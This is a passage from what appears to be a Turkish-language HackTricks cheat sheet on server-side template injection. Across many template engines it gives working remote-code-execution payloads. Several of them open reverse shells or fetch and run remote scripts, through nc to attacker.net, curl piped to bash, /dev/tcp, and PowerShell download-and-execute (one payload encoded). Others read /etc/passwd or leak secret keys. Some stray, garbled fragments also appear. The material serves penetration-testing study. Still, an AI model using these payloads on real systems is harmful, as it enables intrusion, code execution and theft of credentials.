echo $templates->render('profile', ['name' => 'Jonathan']);

Sayfa şablonu:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

Düzen şablonu:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

Daha fazla bilgi

PHPlib ve HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB, PHPlib ile aynıdır ancak Pear'a taşınmıştır.

authors.tpl

<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

Server-Side Template Injection (SSTI)

Authors

This page displays a list of authors. The authors' names are retrieved from a database and rendered on the page using a server-side template.

Vulnerability

The authors.php file is vulnerable to Server-Side Template Injection (SSTI). This vulnerability allows an attacker to inject malicious code into the server-side template, which is then executed on the server.

Exploitation

To exploit this vulnerability, an attacker can inject template code that will be executed by the server. This can be done by manipulating the input parameters or by directly modifying the template file.

Impact

Server-Side Template Injection can have serious consequences, including:

  • Remote code execution: An attacker can execute arbitrary code on the server, potentially gaining full control over the system.
  • Information disclosure: The attacker can access sensitive information stored on the server, such as database credentials or other users' data.
  • Denial of Service (DoS): By injecting malicious code, an attacker can cause the server to crash or become unresponsive.

Prevention

To prevent Server-Side Template Injection, follow these best practices:

  • Input validation: Always validate and sanitize user input to prevent malicious code injection.
  • Use a secure template engine: Choose a template engine that has built-in protection against SSTI vulnerabilities.
  • Least privilege principle: Ensure that the server running the template engine has the minimum necessary privileges to reduce the impact of an attack.
  • Regularly update dependencies: Keep all software dependencies up to date to patch any known vulnerabilities.

References

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Daha fazla bilgi

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Daha fazla bilgi

patTemplate (PHP)

patTemplate, belgeyi farklı parçalara bölmek için XML etiketlerini kullanan derlemeyen bir PHP şablon motorudur.

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Daha fazla bilgi

Handlebars (NodeJS)

Yol Geçişi (daha fazla bilgi için buraya bakın).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Hata
  • ${7*7} = ${7*7}
  • Hiçbir şey
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Daha fazla bilgi

JsRender (NodeJS)

Şablon ıklama
Değerlendir ve çıktıyı render et
Değerlendir ve HTML kodlu çıktıyı render et
Yorum yap
ve Kodu etkinleştir (varsayılan olarak devre dışı)
  • = 49

İstemci Tarafı

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Sunucu Tarafı

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Daha fazla bilgi

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Örnek sunucu tarafı render

var pugjs = require('pug');
home = pugjs.render(injected_page)

Daha fazla bilgi

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = Çıktı yok
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = Hata
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}

Daha fazla bilgi

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Hata
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Daha fazla bilgi

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

Daha fazla bilgi

Python

Python'da kum havuzlarını atlayarak keyfi komut yürütme hileleri hakkında bilgi edinmek için aşağıdaki sayfaya göz atın:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Hata
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}



{{os.system('whoami')}}
{{os.system('whoami')}}

Daha fazla bilgi

Jinja2 (Python)

Resmi web sitesi

Jinja2, Python için tam özellikli bir şablon motorudur. Tam unicode desteği, isteğe bağlı entegre edilmiş bir güvenli çalışma ortamı, yaygın olarak kullanılan ve BSD lisanslıdır.

  • {{7*7}} = Hata
  • ${7*7} = ${7*7}
  • {{foobar}} Hiçbir şey
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}



{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Şablon formatı

Jinja2, Python programlama dilinde kullanılan bir şablon motorudur. Şablonlar, dinamik içerik oluşturmak için kullanılır ve genellikle web uygulamalarında kullanılır. Jinja2, basit ve esnek bir sözdizimine sahiptir ve HTML, XML, JSON gibi farklı veri formatlarını destekler.

Jinja2 şablonları, iki tür etiket içerir: kontrol yapıları ve değişkenler. Kontrol yapıları, döngüler, koşullar ve dizi işlemleri gibi program akışını kontrol etmek için kullanılır. Değişkenler ise verileri şablona yerleştirmek için kullanılır.

Örneğin, aşağıdaki Jinja2 şablonu, bir kullanıcının adını ve yaşını içeren bir HTML belgesi oluşturur:

<!DOCTYPE html>
<html>
<head>
    <title>Kullanıcı Bilgileri</title>
</head>
<body>
    <h1>Merhaba, {{ user.name }}!</h1>
    <p>Yaşınız: {{ user.age }}</p>
</body>
</html>

Bu şablon, user adında bir değişkenin name ve age özelliklerini kullanarak dinamik bir HTML belgesi oluşturur. Şablonu kullanırken, user değişkeni şablona verilerek istenen sonuç elde edilir.

Jinja2, güçlü bir şablon motoru olmasının yanı sıra, bazı güvenlik risklerini de beraberinde getirebilir. Özellikle, sunucu tarafı şablon enjeksiyonu (Server-Side Template Injection - SSTI) saldırılarına karşı savunmasız olabilir. Bu saldırılar, kötü niyetli kullanıcıların şablon motorunun içinde Python kodu çalıştırmasına olanak tanır ve ciddi güvenlik açıklarına yol açabilir.

SSTI saldırılarını önlemek için, giriş doğrulama ve veri doğrulama gibi güvenlik önlemleri almak önemlidir. Ayrıca, Jinja2'nin güvenlik ayarlarını yapılandırarak potansiyel riskleri azaltabilirsiniz.

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


__builtins__'a bağlı olmayan RCE:

Bu saldırı, Jinja şablonlarında gerçekleşen bir güvenlik açığından yararlanır. Jinja, Python tabanlı bir şablon motorudur ve birçok web uygulamasında kullanılır. Bu saldırıda, saldırgan, sunucu tarafı şablon enjeksiyonu (SSTI) kullanarak Python kodunu yürütebilir.

Bu saldırı, __builtins__ değişkenine bağımlı değildir. Bu, hedef sistemin __builtins__ değişkenini sınırlayan veya devre dışı bırakan önlemler alsa bile saldırganın hala RCE (Uzaktan Kod Yürütme) gerçekleştirebileceği anlamına gelir.

Bu saldırıyı gerçekleştirmek için, saldırgan, hedef uygulamada kullanılan Jinja şablonlarında güvenlik açığı bulmalı ve bu açığı kullanarak Python kodunu enjekte etmelidir. Bu, saldırganın hedef sistemin kontrolünü ele geçirmesine ve istediği işlemleri gerçekleştirmesine olanak tanır.

Bu saldırıyı önlemek için, geliştiricilerin güvenli kodlama uygulamalarını takip etmeleri ve kullanılan şablon motorunun güncel ve güvenli bir sürümünü kullanmaları önemlidir. Ayrıca, kullanıcı girişlerini doğru bir şekilde doğrulamak ve filtrelemek de önemlidir.

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Jinja'nın nasıl kötüye kullanılacağı hakkında daha fazla ayrıntı:

{% content-ref url="jinja2-ssti.md" %} jinja2-ssti.md {% endcontent-ref %}

Diğer payloadlar için https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

Daha fazla bilgi

Razor (.Net)

  • @(2+2) <= Başarılı
  • @() <= Başarılı
  • @("{{kod}}") <= Başarılı
  • @ <= Başarılı
  • @{} <= HATA!
  • @{ <= HATA!
  • @(1+2)
  • @( //C#Kod )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwMAXABQAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABQAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAOw==");`

.NET System.Diagnostics.Process.Start yöntemi, sunucuda herhangi bir işlemi başlatmak ve böylece bir webshell oluşturmak için kullanılabilir. https://github.com/cnotin/RazorVulnerableApp adresinde zafiyetli bir web uygulama örneği bulabilirsiniz.

Daha fazla bilgi

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Hiçbir şey
  • <%= response.write(date()) %> = <Tarih>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Daha Fazla Bilgi

Mojolicious (Perl)

Perl olsa da, Ruby'deki ERB gibi etiketler kullanır.

  • <%= 7*7 %> = 49
  • <%= foobar %> = Hata
<%= perl code %>
<% perl code %>

GO'da SSTI

Go'nun şablon motorunda kullanımın doğrulanması belirli payloadlarla yapılabilir:

  • {{ . }}: Veri yapısını ortaya çıkarır. Örneğin, Password özelliğine sahip bir nesne geçirilirse, {{ .Password }} bunu açığa çıkarabilir.
  • {{printf "%s" "ssti" }}: "ssti" dizesini görüntülemesi beklenir.
  • {{html "ssti"}}, {{js "ssti"}}: Bu payloadlar "html" veya "js" eklemeksizin "ssti" döndürmelidir. Daha fazla yönerge Go belgelerinde burada keşfedilebilir.

XSS Sömürüsü

text/template paketi ile XSS doğrudan payload'ın doğrudan eklenmesiyle kolayca gerçekleştirilebilir. Bununla birlikte, html/template paketi yanıtı kodlamak için kullanır (örneğin, {{"<script>alert(1)</script>"}} ifadesi &lt;script&gt;alert(1)&lt;/script&gt; sonucunu verir). Bununla birlikte, Go'da şablon tanımı ve çağrısı bu kodlamayı atlayabilir: {{define "T1"}}{{end}} {{template "T1"}}

vbnet Copy code

RCE Sömürüsü

RCE sömürüsü, html/template ve text/template arasında önemli farklılıklar gösterir. text/template modülü, herhangi bir genel işlevi doğrudan çağırmaya izin verir ("call" değerini kullanarak), bu html/template için izin verilmez. Bu modüllerle ilgili belgelere buradan html/template için ve buradan text/template için erişilebilir.

Go'da SSTI aracılığıyla RCE, nesne yöntemleri çağrılabilir. Örneğin, sağlanan nesnenin komutları yürüten bir System yöntemi varsa, bunu {{ .System "ls" }} şeklinde sömürülebilir. Bu sömürüyü gerçekleştirmek için genellikle kaynak koduna erişim gereklidir, verilen örnekte olduğu gibi:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Daha fazla bilgi

Daha Fazla Saldırı

Daha fazla saldırı için https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection adresini kontrol edin. Ayrıca ilginç etiket bilgilerini https://github.com/DiogoMRSilva/websitesVulnerableToSSTI adresinde bulabilirsiniz.

BlackHat PDF

{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}

İlgili Yardım

Faydalı olabileceğini düşünüyorsanız, okuyun:

Araçlar

Brute-Force Tespit Listesi

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

Pratik ve Referanslar

RootedCON, İspanya'daki en önemli siber güvenlik etkinliği ve Avrupa'nın en önemli etkinliklerinden biridir. Teknik bilginin yayılmasını amaçlayan bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.

{% embed url="https://www.rootedcon.com/" %}

AWS hacklemeyi sıfırdan kahraman olmak için öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'i desteklemenin diğer yolları: